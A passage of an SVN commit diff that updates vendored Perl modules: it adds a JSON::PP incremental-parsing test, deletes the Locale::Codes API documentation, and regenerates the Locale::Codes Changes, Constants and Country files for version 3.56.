+eval { decode_json(qq({"foo":{"bar":42}"})) };
+like $@ => qr/offset 17/;
+

Added: vendor/perl/dist/cpan/JSON-PP/t/rt_90071_incr_parse.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/rt_90071_incr_parse.t	                        (rev 0)
+++ vendor/perl/dist/cpan/JSON-PP/t/rt_90071_incr_parse.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,29 @@
+use strict;
+use Test::More;
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+use JSON::PP;
+
+#SKIP_ALL_UNLESS_PP 2.90
+
+BEGIN { plan tests => 2 };
+
+my $json = JSON::PP->new;
+my $kb = 'a' x 1024;
+my $hash = { map { $_ => $kb } (1..40) };
+my $data = join ( '', $json->encode($hash), $json->encode($hash) );
+my $size = length($data);
+# note "Total size: [$size]";
+my $offset = 0;
+while ($size) {
+    # note "Bytes left [$size]";
+    my $incr = substr($data, $offset, 4096);
+    my $bytes = length($incr);
+    $size -= $bytes;
+    $offset += $bytes;
+    if ($bytes) {
+        $json->incr_parse($incr);
+    }
+    while( my $obj = $json->incr_parse ) {
+        ok "Got JSON object";
+    }
+}

Modified: vendor/perl/dist/cpan/JSON-PP/t/zero-mojibake.t
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/t/zero-mojibake.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/t/zero-mojibake.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,3 @@
-#!/usr/bin/perl
-
 use strict;
 use Test::More;
 BEGIN { plan tests => 1 };

Deleted: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/API.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/API.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/API.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,335 +0,0 @@
-=pod
-
-=head1 NAME
-
-Locale::Codes::API - a description of the callable function in each module
-
-=head1 DESCRIPTION
-
-Although there are several modules in the B<Locale-Codes> distribution, all of them
-(as of version 3.10) use exactly the same API.  As a matter of fact, each of the
-main callable modules are just wrappers around a central module which does all
-the real work.
-
-=head1 ROUTINES
-
-In order to maintain the documentation for the modules consistently,
-the functions are all documented here, rather than in the documentation
-for the separate modules.
-
-The name of the function depends on the module. For example, every module
-contains a function C<code2XXX> where XXX refers to the type of data.
-The values of XXX are described in the following table:
-
-   XXX       MODULE
-
-   country   Locale::Codes::Country
-   language  Locale::Codes::Language
-   currency  Locale::Codes::Currency
-   script    Locale::Codes::Script
-   langext   Locale::Codes::LangExt
-   langvar   Locale::Codes::LangVar
-   langfam   Locale::Codes::LangFam
-
-So, the L<Locale::Country> module contains the function C<code2country>, the
-L<Locale::Language> module contains the function C<code2language>, etc.
-
-In all of the functions below, B<CODE> refers to a code for one
-element in the code set. For example, in the two-letter country codes
-from ISO 3166-1, the code 'fi' is used to refer to the country
-Finland. B<CODE> is always case insensitive when passed in as an
-argument, so 'fi', 'FI', and 'Fi' would all be equivalent arguments.
-When B<CODE> is returned from an argument, it will always be in the
-case as used in the standard.
-
-B<CODESET> refers to a constant specified in the documentation for each
-module to label the various code sets. For example, in the
-L<Locale::Language> module, B<CODESET> could be LOCALE_CODE_ALPHA_2 or
-LOCALE_CODE_ALPHA_3 (among others). Most functions have a default one,
-so they do not need to be specified. So the following calls are valid:
-
-   code2country("fi");
-   code2country("fi",LOCALE_CODE_ALPHA_2);
-   code2country("fin",LOCALE_CODE_ALPHA_3);
-
-Since LOCALE_CODE_ALPHA_2 is the default code set, the first two are
-identical.
-
-=over 4
-
-=item B<code2XXX ( CODE [,CODESET] [,'retired'] )>
-
-These functions take a code and returns a string which contains
-the name of the element identified.  If the code is not a valid
-code in the B<CODESET> specified then C<undef> will be returned.
-
-The name of the element is the name as specified in the standard,
-and as a result, different variations of an element name may
-be returned for different values of B<CODESET>.
-
-For example, the alpha-2 country code set defines the two-letter
-code "bo" to be "Bolivia, Plurinational State of", whereas the
-alpha-3 code set defines the code 'bol' to be the country "Bolivia
-(Plurinational State of)". So:
-
-   code2country('bo',LOCALE_CODE_ALPHA_2);
-      => 'Bolivia, Plurinational State of'
-
-   code2country('bol',LOCALE_CODE_ALPHA_3);
-      => 'Bolivia (Plurinational State of)'
-
-By default, only active codes will be used, but if the string
-'retired' is passed in as an argument, both active and retired
-codes will be examined.
-
-=item B<XXX2code ( NAME [,CODESET] [,'retired'] )>
-
-These functions takes the name of an element (or any of it's aliases)
-and returns the code that corresponds to it, if it exists. If B<NAME>
-could not be identified as the name of one of the elements, then
-C<undef> will be returned.
-
-The name is not case sensitive. Also, any known variation of a name
-may be passed in.
-
-For example, even though the country name returned using
-LOCALE_CODE_ALPHA_2 and LOCALE_CODE_ALPHA_3 country codes for Bolivia
-is different, either country name may be passed in since for each code
-set (in addition to the alias 'Bolivia'). So:
-
-   country2code('Bolivia, Plurinational State of',
-                LOCALE_CODE_ALPHA_2);
-      => bo
-
-   country2code('Bolivia (Plurinational State of)',
-                LOCALE_CODE_ALPHA_2);
-      => bo
-
-   country2code('Bolivia',LOCALE_CODE_ALPHA_2);
-      => bo
-
-By default, only active names will be used, but if the string
-'retired' is passed in as an argument, both active and retired
-names will be examined.
-
-=item B<XXX_code2code ( CODE ,CODESET ,CODESET2 )>
-
-These functions takes a code from one code set, and returns the
-corresponding code from another code set. B<CODE> must exists in the code
-set specified by B<CODESET> and must have a corresponding code in the
-code set specified by B<CODESET2> or C<undef> will be returned.
-
-Both B<CODESET> and B<CODESET2> must be explicitly entered.
-
-   country_code2code('fin', LOCALE_CODE_ALPHA_3,
-                     LOCALE_CODE_ALPHA_2);
-      => 'fi'
-
-Note that this function does NOT support retired codes.
-
-=item B<all_XXX_codes ( [CODESET] [,'retired'] )>
-
-These returns a list of all code in the code set. The codes will be
-sorted.
-
-By default, only active codes will be returned, but if the string
-'retired' is passed in as an argument, both active and retired
-codes will be returned.
-
-=item B<all_XXX_names ( [CODESET] [,'retired'] )>
-
-These return a list of all elements names for which there is a
-corresponding code in the specified code set.
-
-The names returned are exactly as they are specified in the standard,
-and are sorted.
-
-Since not all elements are listed in all code sets, the list of
-elements may differ depending on the code set specified.
-
-By default, only active names will be returned, but if the string
-'retired' is passed in as an argument, both active and retired
-names will be returned.
-
-=back
-
-=head1 SEMI-PRIVATE ROUTINES
-
-Additional semi-private routines which may be used to modify the
-internal data are also available.  Given their status, they aren't
-exported, and so need to be called by prefixing the function name with
-the package name.
-
-These routines do not currently work with retired codes.
-
-=over 4
-
-=item B<MODULE::rename_XXX  ( CODE ,NEW_NAME [,CODESET] )>
-
-These routines are used to change the official name of an element. At
-that point, the name returned by the C<code2XXX> routine would be
-B<NEW_NAME> instead of the name specified in the standard.
-
-The original name will remain as an alias.
-
-For example, the official country name for code 'gb' is 'United
-Kingdom'.  If you want to change that, you might call:
-
-   Locale::Codes::Country::rename_country('gb', 'Great Britain');
-
-This means that calling code2country('gb') will now return 'Great
-Britain' instead of 'United Kingdom'.
-
-If any error occurs, a warning is issued and 0 is returned. An error
-occurs if B<CODE> doesn't exist in the specified code set, or if
-B<NEW_NAME> is already in use but for a different element.
-
-If the routine succeeds, 1 is returned.
-
-=item B<MODULE::add_XXX  ( CODE ,NAME [,CODESET] )>
-
-These routines are used to add a new code and name to the data.
-
-Both B<CODE> and B<NAME> must be unused in the data set or an error
-occurs (though B<NAME> may be used in a different data set).
-
-For example, to create the fictitious country named "Duchy of
-Grand Fenwick" with codes "gf" and "fen", use the following:
-
-   Locale::Codes::Country::add_country("fe","Duchy of Grand Fenwick",
-                                LOCALE_CODE_ALPHA_2);
-
-   Locale::Codes::Country::add_country("fen","Duchy of Grand Fenwick",
-                                LOCALE_CODE_ALPHA_3);
-
-The return value is 1 on success, 0 on an error.
-
-=item B<MODULE::delete_XXX  ( CODE [,CODESET] )>
-
-These routines are used to delete a code from the data.
-
-B<CODE> must refer to an existing code in the code set.
-
-The return value is 1 on success, 0 on an error.
-
-=item B<MODULE::add_XXX_alias  ( NAME ,NEW_NAME )>
-
-These routines are used to add a new alias to the data. They do
-not alter the return value of the C<code2XXX> function.
-
-B<NAME> must be an existing element name, and B<NEW_NAME> must
-be unused or an error occurs.
-
-The return value is 1 on success, 0 on an error.
-
-=item B<MODULE::delete_XXX_alias  ( NAME )>
-
-These routines are used to delete an alias from the data. Once
-removed, the element may not be referred to by B<NAME>.
-
-B<NAME> must be one of a list of at least two names that may be used to
-specify an element. If the element may only be referred to by a single
-name, you'll need to use the C<add_XXX_alias> function to add a new alias
-first, or the C<remove_XXX> function to remove the element entirely.
-
-If the alias is used as the name in any code set, one of the other
-names will be used instead. Predicting exactly which one will
-be used requires you to know the order in which the standards
-were read, which is not reliable, so you may want to use the
-C<rename_XXX> function to force one of the alternate names to be
-used.
-
-The return value is 1 on success, 0 on an error.
-
-=item B<MODULE::rename_XXX_code  ( CODE ,NEW_CODE [,CODESET] )>
-
-These routines are used to change the official code for an element. At
-that point, the code returned by the C<XXX2code> routine would be
-B<NEW_CODE> instead of the code specified in the standard.
-
-B<NEW_CODE> may either be a code that is not in use, or it may be an
-alias for B<CODE> (in which case, B<CODE> becomes and alias and B<NEW_CODE>
-becomes the "real" code).
-
-The original code is kept as an alias, so that the C<code2XXX> routines
-will work with either the code from the standard or the new code.
-
-However, the C<all_XXX_codes> routine will only return the codes which
-are considered "real" (which means that the list of codes will now
-contain B<NEW_CODE>, but will not contain B<CODE>).
-
-=item B<MODULE::add_XXX_code_alias  ( CODE ,NEW_CODE [,CODESET] )>
-
-These routines add an alias for the code. At that point, B<NEW_CODE> and B<CODE>
-will both work in the C<code2XXX> routines. However, the C<XXX2code> routines will
-still return the original code.
-
-=item B<MODULE::delete_XXX_code_alias  ( CODE [,CODESET] )>
-
-These routines delete an alias for the code.
-
-These will only work if B<CODE> is actually an alias. If it is the "real"
-code, it will not be deleted. You will need to use the C<rename_XXX_code>
-function to switch the real code with one of the aliases, and then
-delete the alias.
-
-=back
-
-=head1 KNOWN BUGS AND LIMITATIONS
-
-=over 4
-
-=item B<Relationship between code sets>
-
-Because each code set uses a slightly different list of elements, and
-they are not necessarily one-to-one, there may be some confusion
-about the relationship between codes from different code sets.
-
-For example, ISO 3166 assigns one code to the country "United States
-Minor Outlying Islands", but the IANA codes give different codes
-to different islands (Baker Island, Howland Island, etc.).
-
-This may cause some confusion... I've done the best that I could do
-to minimize it.
-
-=item B<Non-ASCII characters not supported>
-
-Currently all names must be all ASCII. I plan on relaxing that
-limitation in the future.
-
-=back
-
-=head1 SEE ALSO
-
-L<Locale::Codes>
-
-L<Locale::Codes::Country>
-
-L<Locale::Codes::Language>
-
-L<Locale::Codes::Currency>
-
-L<Locale::Codes::Script>
-
-L<Locale::Codes::LangExt>
-
-L<Locale::Codes::LangVar>
-
-L<Locale::Codes::LangFam>
-
-=head1 AUTHOR
-
-See Locale::Codes for full author history.
-
-Currently maintained by Sullivan Beck (sbeck at cpan.org).
-
-=head1 COPYRIGHT
-
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
-
-This module is free software; you can redistribute it and/or
-modify it under the same terms as Perl itself.
-
-=cut

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Changes.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Changes.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Changes.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,14 +22,145 @@
 changes that you use, feel free to contact me.  Any time there are new
 codes, I will add them to the module and release a new version.
 
-=head1 VERSION 3.46  (planned 2017-12-01; sbeck)
+=head1 VERSION 3.59  (planned 2018-12-01; sbeck)
 
-=head1 VERSION 3.45  (planned 2017-09-01; sbeck)
+=head1 VERSION 3.58  (planned 2018-09-01; sbeck)
 
-=head1 VERSION 3.44  (planned 2017-06-01; sbeck)
+=head1 VERSION 3.57  (planned 2018-06-01; sbeck)
 
-=head1 VERSION 3.43  (planned 2017-03-01; sbeck)
+=head1 VERSION 3.56  (planned 2018-03-01; sbeck)
 
+NEW CODE(s)
+
+=head1 VERSION 3.55  (2017-11-17; sbeck)
+
+NEW CODE(s)
+
+=over 4
+
+=item B<(*) Deprecated in core>
+
+Because correct usage of any of the Locale::Codes modules requires that
+they be kept up-to-date, I have long felt that it should not be distributed
+as a core module.  After discussion on the perl5-porters list, it is agreed,
+and the deprecation process has been started.
+
+Thanks to p5p-porters (especially Dagfinn Ilmari Mannsaker) for discussion
+and guidance.
+
+=item Changes from a github pull request applied
+
+A couple minor changes (updated .travis.yml to include newest versions of
+perl; and a couple changes to pod_coverage.t) reported by lancew on GitHub.
+
+=item Got rid of Build.PL
+
+Simplified things by only supporting one of Makefile.PL/Build.PL (and the latter
+has been removed from perl core some time ago).  RT 123572
+
+=item Fixed INSTALLDIRS
+
+The behavior of installing core modules changed in 5.12 a bit, and Makefile.PL
+now reflects that.  RT 123571
+
+=back
+
+=head1 VERSION 3.54  (2017-09-01; sbeck)
+
+NEW CODE(s)
+
+=head1 VERSION 3.53  (2017-07-25; sbeck)
+
+NEW CODE(s)
+
+=over 4
+
+=item Fixed the default error condition in legacy modules.
+
+With the addition of the OO module, better error handling was added (and it
+was on by default).  The non-OO (legacy) modules did not report errors, so
+code that uses them, would now behave differently if invalid data were
+passed in.
+
+I have turned off error handling by default in the legacy modules.  The
+show_errors method was added to each of the non-OO modules to report errors
+if desired.
+
+Reported by dmaestro on GitHub.
+
+=back
+
+=head1 VERSION 3.52  (2017-06-01; sbeck)
+
+NEW CODE(s)
+
+=head1 VERSION 3.51  (2017-04-10; sbeck)
+
+NEW CODE(s)
+
+=over 4
+
+=item Tests no longer require (.) in INC
+
+As of perl 5.25.11, (.) is being removed from INC.  I had to adjust the
+tests accordingly.
+
+=back
+
+=head1 VERSION 3.50  (2017-03-01; sbeck)
+
+NEW CODE(s)
+
+=over 4
+
+=item B<(*) Rewrote as OO module>
+
+The core module (Locale::Codes) is now an OO module that can be used
+directly.  All of the other modules (Locale::Codes::TYPE) are still
+the older functional interfaces and remain unchanged.
+
+=item B<Added some constants>
+
+Historically, the constant names used to identify the codesets have been
+named inconsistently.  The original constants for codesets are:
+
+   Type      Constants
+
+   country   LOCALE_CODE_*
+   currency  LOCALE_CURR_*
+   language  LOCALE_LANG_*
+
+   script    LOCALE_SCRIPT_*
+   langfam   LOCALE_LANGFAM_*
+   langvar   LOCALE_LANGVAR_*
+   langext   LOCALE_LANGEXT_*
+
+For consistencies sake, I have added some new codes (which are otherwise
+identical to the irregularly named codes):
+
+   country   LOCALE_COUNTRY_*
+   currency  LOCALE_CURRENCY_*
+   language  LOCALE_LANGUAGE_*
+
+Going forward, all constants will include the full name of the code type.
+
+=item Non-OO modules are now generated
+
+All non-OO modules are now automatically generated.  This will make it easier
+to keep them 100% consistent as well as making it easier to add new types
+of code sets.
+
+All of the documentation for them is also generated except for the description
+of the code sets.  That has been moved into the Locale::Codes::Types document.
+
+=item Fixed a bug where constants were not exported
+
+Some of the constants for some of the newer code sets were not exported properly.
+This was fixed when I started generating the non-OO modules, but was reported
+(after I had already fixed it in development) as RT 119741 .
+
+=back
+
 =head1 VERSION 3.42  (2016-11-30; sbeck)
 
 =over 4
@@ -359,8 +490,7 @@
 
 Added language codes from ISO 639-5
 
-Added language/script codes from the IANA language subtag
-registry
+Added language/script codes from the IANA language subtag registry
 
 =item B<Bug fixes>
 
@@ -824,7 +954,7 @@
 =head1 COPYRIGHT
 
    Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2010-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Constants.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Constants.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Constants.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,145 +1,205 @@
 package Locale::Codes::Constants;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
 use warnings;
+require 5.006;
+use Exporter qw(import);
 
-require Exporter;
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
 
-#-----------------------------------------------------------------------
-#	Public Global Variables
-#-----------------------------------------------------------------------
+################################################################################
+our(@CONSTANTS,%ALL_CODESETS);
 
-our($VERSION, at ISA, at EXPORT);
-our(%ALL_CODESETS);
+our(@CONSTANTS_COUNTRY) = qw(
+                LOCALE_CODE_ALPHA_2
+                LOCALE_CODE_ALPHA_3
+                LOCALE_CODE_DOM
+                LOCALE_CODE_GENC_ALPHA_2
+                LOCALE_CODE_GENC_ALPHA_3
+                LOCALE_CODE_GENC_NUMERIC
+                LOCALE_CODE_NUMERIC
+                LOCALE_CODE_UN_ALPHA_3
+                LOCALE_CODE_UN_NUMERIC
+                LOCALE_COUNTRY_ALPHA_2
+                LOCALE_COUNTRY_ALPHA_3
+                LOCALE_COUNTRY_DOM
+                LOCALE_COUNTRY_GENC_ALPHA_2
+                LOCALE_COUNTRY_GENC_ALPHA_3
+                LOCALE_COUNTRY_GENC_NUMERIC
+                LOCALE_COUNTRY_NUMERIC
+                LOCALE_COUNTRY_UN_ALPHA_3
+                LOCALE_COUNTRY_UN_NUMERIC
+);
+push(@CONSTANTS, at CONSTANTS_COUNTRY);
 
-$VERSION='3.42';
- at ISA     = qw(Exporter);
- at EXPORT  = qw(LOCALE_CODE_ALPHA_2
-              LOCALE_CODE_ALPHA_3
-              LOCALE_CODE_NUMERIC
-              LOCALE_CODE_DOM
-              LOCALE_CODE_UN_NUMERIC
-              LOCALE_CODE_UN_ALPHA_3
-              LOCALE_CODE_GENC_ALPHA_2
-              LOCALE_CODE_GENC_ALPHA_3
-              LOCALE_CODE_GENC_NUMERIC
+our(@CONSTANTS_CURRENCY) = qw(
+                LOCALE_CURRENCY_ALPHA
+                LOCALE_CURRENCY_NUMERIC
+                LOCALE_CURR_ALPHA
+                LOCALE_CURR_NUMERIC
+);
+push(@CONSTANTS, at CONSTANTS_CURRENCY);
 
-              LOCALE_LANG_ALPHA_2
-              LOCALE_LANG_ALPHA_3
-              LOCALE_LANG_TERM
+our(@CONSTANTS_LANGEXT) = qw(
+                LOCALE_LANGEXT_ALPHA
+);
+push(@CONSTANTS, at CONSTANTS_LANGEXT);
 
-              LOCALE_CURR_ALPHA
-              LOCALE_CURR_NUMERIC
+our(@CONSTANTS_LANGFAM) = qw(
+                LOCALE_LANGFAM_ALPHA
+);
+push(@CONSTANTS, at CONSTANTS_LANGFAM);
 
-              LOCALE_SCRIPT_ALPHA
-              LOCALE_SCRIPT_NUMERIC
+our(@CONSTANTS_LANGUAGE) = qw(
+                LOCALE_LANGUAGE_ALPHA_2
+                LOCALE_LANGUAGE_ALPHA_3
+                LOCALE_LANGUAGE_TERM
+                LOCALE_LANG_ALPHA_2
+                LOCALE_LANG_ALPHA_3
+                LOCALE_LANG_TERM
+);
+push(@CONSTANTS, at CONSTANTS_LANGUAGE);
 
-              LOCALE_LANGEXT_ALPHA
+our(@CONSTANTS_LANGVAR) = qw(
+                LOCALE_LANGVAR_ALPHA
+);
+push(@CONSTANTS, at CONSTANTS_LANGVAR);
 
-              LOCALE_LANGVAR_ALPHA
+our(@CONSTANTS_SCRIPT) = qw(
+                LOCALE_SCRIPT_ALPHA
+                LOCALE_SCRIPT_NUMERIC
+);
+push(@CONSTANTS, at CONSTANTS_SCRIPT);
 
-              LOCALE_LANGFAM_ALPHA
+ at EXPORT    = (@CONSTANTS,
+               qw(
+                %ALL_CODESETS
+               ));
 
-              %ALL_CODESETS
-            );
+use constant LOCALE_CODE_ALPHA_2         => 'alpha-2';
+use constant LOCALE_CODE_ALPHA_3         => 'alpha-3';
+use constant LOCALE_CODE_DOM             => 'dom';
+use constant LOCALE_CODE_GENC_ALPHA_2    => 'genc-alpha-2';
+use constant LOCALE_CODE_GENC_ALPHA_3    => 'genc-alpha-3';
+use constant LOCALE_CODE_GENC_NUMERIC    => 'genc-numeric';
+use constant LOCALE_CODE_NUMERIC         => 'numeric';
+use constant LOCALE_CODE_UN_ALPHA_3      => 'un-alpha-3';
+use constant LOCALE_CODE_UN_NUMERIC      => 'un-numeric';
+use constant LOCALE_COUNTRY_ALPHA_2      => 'alpha-2';
+use constant LOCALE_COUNTRY_ALPHA_3      => 'alpha-3';
+use constant LOCALE_COUNTRY_DOM          => 'dom';
+use constant LOCALE_COUNTRY_GENC_ALPHA_2 => 'genc-alpha-2';
+use constant LOCALE_COUNTRY_GENC_ALPHA_3 => 'genc-alpha-3';
+use constant LOCALE_COUNTRY_GENC_NUMERIC => 'genc-numeric';
+use constant LOCALE_COUNTRY_NUMERIC      => 'numeric';
+use constant LOCALE_COUNTRY_UN_ALPHA_3   => 'un-alpha-3';
+use constant LOCALE_COUNTRY_UN_NUMERIC   => 'un-numeric';
 
-#-----------------------------------------------------------------------
-#	Constants
-#-----------------------------------------------------------------------
+$ALL_CODESETS{'country'} =
+   {
+      'default'  => 'alpha-2',
+      'module'   => 'Country',
+      'codesets' => {
+                     'alpha-2'      => ['lc'],
+                     'alpha-3'      => ['lc'],
+                     'dom'          => ['lc'],
+                     'genc-alpha-2' => ['uc'],
+                     'genc-alpha-3' => ['uc'],
+                     'genc-numeric' => ['numeric',3],
+                     'numeric'      => ['numeric',3],
+                     'un-alpha-3'   => ['uc'],
+                     'un-numeric'   => ['numeric',3],
+                    }
+   };
 
-use constant LOCALE_CODE_ALPHA_2      => 'alpha-2';
-use constant LOCALE_CODE_ALPHA_3      => 'alpha-3';
-use constant LOCALE_CODE_NUMERIC      => 'numeric';
-use constant LOCALE_CODE_DOM          => 'dom';
-use constant LOCALE_CODE_UN_ALPHA_3   => 'un-alpha-3';
-use constant LOCALE_CODE_UN_NUMERIC   => 'un-numeric';
-use constant LOCALE_CODE_GENC_ALPHA_2 => 'genc-alpha-2';
-use constant LOCALE_CODE_GENC_ALPHA_3 => 'genc-alpha-3';
-use constant LOCALE_CODE_GENC_NUMERIC => 'genc-numeric';
+use constant LOCALE_CURRENCY_ALPHA       => 'alpha';
+use constant LOCALE_CURRENCY_NUMERIC     => 'num';
+use constant LOCALE_CURR_ALPHA           => 'alpha';
+use constant LOCALE_CURR_NUMERIC         => 'num';
 
-$ALL_CODESETS{'country'} = {
-                            'default'  => 'alpha-2',
-                            'codesets' => { 'alpha-2'      => ['lc'],
-                                            'alpha-3'      => ['lc'],
-                                            'numeric'      => ['numeric',3],
-                                            'dom'          => ['lc'],
-                                            'un-alpha-3'   => ['uc'],
-                                            'un-numeric'   => ['numeric',3],
-                                            'genc-alpha-2' => ['uc'],
-                                            'genc-alpha-3' => ['uc'],
-                                            'genc-numeric' => ['numeric',3],
-                                          }
-                           };
+$ALL_CODESETS{'currency'} =
+   {
+      'default'  => 'alpha',
+      'module'   => 'Currency',
+      'codesets' => {
+                     'alpha'        => ['uc'],
+                     'num'          => ['numeric',3],
+                    }
+   };
 
-use constant LOCALE_LANG_ALPHA_2    => 'alpha-2';
-use constant LOCALE_LANG_ALPHA_3    => 'alpha-3';
-use constant LOCALE_LANG_TERM       => 'term';
+use constant LOCALE_LANGEXT_ALPHA        => 'alpha';
 
-$ALL_CODESETS{'language'} = {
-                             'default'  => 'alpha-2',
-                             'codesets' => { 'alpha-2'  => ['lc'],
-                                             'alpha-3'  => ['lc'],
-                                             'term'     => ['lc'],
-                                           }
-                            };
+$ALL_CODESETS{'langext'} =
+   {
+      'default'  => 'alpha',
+      'module'   => 'LangExt',
+      'codesets' => {
+                     'alpha'        => ['lc'],
+                    }
+   };
 
-use constant LOCALE_CURR_ALPHA      => 'alpha';
-use constant LOCALE_CURR_NUMERIC    => 'num';
+use constant LOCALE_LANGFAM_ALPHA        => 'alpha';
 
-$ALL_CODESETS{'currency'} = {
-                             'default'  => 'alpha',
-                             'codesets' => { 'alpha'  => ['uc'],
-                                             'num'    => ['numeric',3],
-                                           }
-                            };
+$ALL_CODESETS{'langfam'} =
+   {
+      'default'  => 'alpha',
+      'module'   => 'LangFam',
+      'codesets' => {
+                     'alpha'        => ['lc'],
+                    }
+   };
 
-use constant LOCALE_SCRIPT_ALPHA    => 'alpha';
-use constant LOCALE_SCRIPT_NUMERIC  => 'num';
+use constant LOCALE_LANGUAGE_ALPHA_2     => 'alpha-2';
+use constant LOCALE_LANGUAGE_ALPHA_3     => 'alpha-3';
+use constant LOCALE_LANGUAGE_TERM        => 'term';
+use constant LOCALE_LANG_ALPHA_2         => 'alpha-2';
+use constant LOCALE_LANG_ALPHA_3         => 'alpha-3';
+use constant LOCALE_LANG_TERM            => 'term';
 
-$ALL_CODESETS{'script'} = {
-                           'default'  => 'alpha',
-                           'codesets' => { 'alpha'  => ['ucfirst'],
-                                           'num'    => ['numeric',3],
-                                         }
-                          };
+$ALL_CODESETS{'language'} =
+   {
+      'default'  => 'alpha-2',
+      'module'   => 'Language',
+      'codesets' => {
+                     'alpha-2'      => ['lc'],
+                     'alpha-3'      => ['lc'],
+                     'term'         => ['lc'],
+                    }
+   };
 
-use constant LOCALE_LANGEXT_ALPHA   => 'alpha';
+use constant LOCALE_LANGVAR_ALPHA        => 'alpha';
 
-$ALL_CODESETS{'langext'} = {
-                           'default'  => 'alpha',
-                           'codesets' => { 'alpha'  => ['lc'],
-                                         }
-                          };
+$ALL_CODESETS{'langvar'} =
+   {
+      'default'  => 'alpha',
+      'module'   => 'LangVar',
+      'codesets' => {
+                     'alpha'        => ['lc'],
+                    }
+   };
 
-use constant LOCALE_LANGVAR_ALPHA   => 'alpha';
+use constant LOCALE_SCRIPT_ALPHA         => 'alpha';
+use constant LOCALE_SCRIPT_NUMERIC       => 'num';
 
-$ALL_CODESETS{'langvar'} = {
-                           'default'  => 'alpha',
-                           'codesets' => { 'alpha'  => ['lc'],
-                                         }
-                          };
+$ALL_CODESETS{'script'} =
+   {
+      'default'  => 'alpha',
+      'module'   => 'Script',
+      'codesets' => {
+                     'alpha'        => ['ucfirst'],
+                     'num'          => ['numeric',3],
+                    }
+   };
 
-use constant LOCALE_LANGFAM_ALPHA   => 'alpha';
 
-$ALL_CODESETS{'langfam'} = {
-                           'default'  => 'alpha',
-                           'codesets' => { 'alpha'  => ['lc'],
-                                         }
-                          };
-
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,100 +1,94 @@
 package Locale::Codes::Country;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
+use warnings;
 require 5.006;
-use warnings;
+use Exporter qw(import);
 
-require Exporter;
-use Carp;
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
+
+################################################################################
+use if $] >= 5.027007, 'deprecate';
 use Locale::Codes;
 use Locale::Codes::Constants;
-use Locale::Codes::Country_Codes;
-use Locale::Codes::Country_Retired;
 
-#=======================================================================
-#       Public Global Variables
-#=======================================================================
-
-our($VERSION, at ISA, at EXPORT, at EXPORT_OK);
-
-$VERSION='3.42';
- at ISA       = qw(Exporter);
- at EXPORT    = qw(code2country
+ at EXPORT    = qw(
+                code2country
                 country2code
                 all_country_codes
                 all_country_names
                 country_code2code
-                LOCALE_CODE_ALPHA_2
-                LOCALE_CODE_ALPHA_3
-                LOCALE_CODE_NUMERIC
-                LOCALE_CODE_DOM
                );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_COUNTRY);
 
+our $obj = new Locale::Codes('country');
+$obj->show_errors(0);
+
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
+}
+
 sub code2country {
-   return Locale::Codes::_code2name('country', at _);
+   return $obj->code2name(@_);
 }
 
 sub country2code {
-   return Locale::Codes::_name2code('country', at _);
+   return $obj->name2code(@_);
 }
 
 sub country_code2code {
-   return Locale::Codes::_code2code('country', at _);
+   return $obj->code2code(@_);
 }
 
 sub all_country_codes {
-   return Locale::Codes::_all_codes('country', at _);
+   return $obj->all_codes(@_);
 }
 
 sub all_country_names {
